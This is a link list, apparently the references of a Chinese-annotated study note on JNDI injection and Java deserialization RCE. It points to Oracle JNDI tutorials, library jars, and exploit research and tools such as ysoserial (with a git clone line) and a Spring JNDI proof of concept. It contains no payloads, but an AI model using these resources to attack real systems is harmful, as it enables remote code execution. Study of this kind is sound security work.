Attributes https://docs.oracle.com/javase/jndi/tutorial/objects/storing/dircontext.html Remote Objects https://docs.oracle.com/javase/jndi/tutorial/objects/storing/remote.html https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/RemoteObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/RemoteRef.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/RiHelloImpl.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/RmiiiopObj.java (提到javax.rmi.PortableRemoteObject.narrow) (过于陈旧,还动用了rmic命令,java.rmi.server.codebase应该是用于rmic生成的.class) CORBA Objects https://docs.oracle.com/javase/jndi/tutorial/objects/storing/corba.html Custom Object Example https://docs.oracle.com/javase/jndi/tutorial/objects/state/custom.html Reading Objects from the Directory https://docs.oracle.com/javase/jndi/tutorial/objects/reading/index.html https://docs.oracle.com/javase/jndi/tutorial/objects/reading/lookup.html https://docs.oracle.com/javase/jndi/tutorial/objects/reading/list.html Hybrid Naming and Directory Operations https://docs.oracle.com/javase/jndi/tutorial/basics/directory/hybrid.html https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/Flower.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/Fruit.java https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Fruit.java (同上) https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Bind.java https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Rebind.java https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Unbind.java https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Create.java https://docs.oracle.com/javase/jndi/tutorial/basics/directory/src/Destroy.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/FruitFactory.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/RefObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/Drink.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/DrinkFactory.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/DirObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/Hello.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/HelloImpl.java https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/HelloApp.idl https://docs.oracle.com/javase/jndi/tutorial/objects/storing/src/CorbaObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/state/src/CustomObj.java https://docs.oracle.com/javase/jndi/tutorial/objects/state/src/Person.java https://docs.oracle.com/javase/jndi/tutorial/objects/state/src/PersonStateFactory.java https://docs.oracle.com/javase/jndi/tutorial/objects/state/src/PersonObjectFactory.java https://docs.oracle.com/javase/jndi/tutorial/objects/state/src/jndi.properties https://docs.oracle.com/javase/jndi/tutorial/objects/reading/src/LookupRemote.java https://docs.oracle.com/javase/jndi/tutorial/objects/reading/src/LookupCorba.java https://docs.oracle.com/javase/jndi/tutorial/objects/reading/src/List.java https://docs.oracle.com/javase/jndi/tutorial/objects/reading/src/ListBindings.java Java SE 1.3 Downloads https://www.oracle.com/java/technologies/java-archive-javase-v13-downloads.html (据说其中包括rmiregistry.jar,实际只有rmiregistry.exe) https://developer.byu.edu/maven2/content/groups/thirdparty/com/sun/ldap/ldapbp/1.2.4/ https://developer.byu.edu/maven2/content/groups/thirdparty/com/sun/ldap/ldapbp/1.2.4/ldapbp-1.2.4.jar https://github.com/lucee/mvn/tree/master/releases/sun/jndi/ldapbp/1.2.4 LDAP Directories https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html (提到javaSerializedData) [45] 如何绕过高版本JDK的限制进行JNDI注入利用 - KINGX [2019-06-03] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://github.com/kxcode/JNDI-Exploit-Bypass-Demo 深入理解JNDI注入与Java反序列化漏洞利用 - KINGX [2018-08-10] https://kingx.me/Exploit-Java-Deserialization-with-RMI.html [46] Spring framework deserialization RCE - zerothoughts [2016-01-22] https://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce https://github.com/zerothoughts/spring-jndi Spring framework deserialization RCE漏洞分析以及利用 - iswin [2016-01-24] https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/ (这篇比原作写得好) 由JNDI注入引发的Spring Framework反序列化漏洞 - [2019-09-02] https://www.mi1k7ea.com/2019/09/02/%E7%94%B1JNDI%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E7%9A%84Spring-Framework%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ (这篇写得很一般) Fun with JNDI remote code injection - zerothoughts [2016-01-21] https://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection https://github.com/zerothoughts/jndipoc (现实中的例子就是前面那个) [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译,不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git [72] Exploiting JNDI Injections in Java - Michael Stepankin [2019-01-03] https://www.veracode.com/blog/research/exploiting-jndi-injections-java [73] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-catalina/9.0.20/ https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-catalina/9.0.20/tomcat-catalina-9.0.20.jar https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-catalina/9.0.20/tomcat-catalina-9.0.20-sources.jar https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-el-api/9.0.20/ https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-el-api/9.0.20/tomcat-el-api-9.0.20.jar https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-jasper-el/9.0.20/ https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-jasper-el/9.0.20/tomcat-jasper-el-9.0.20.jar [74] https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/ https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar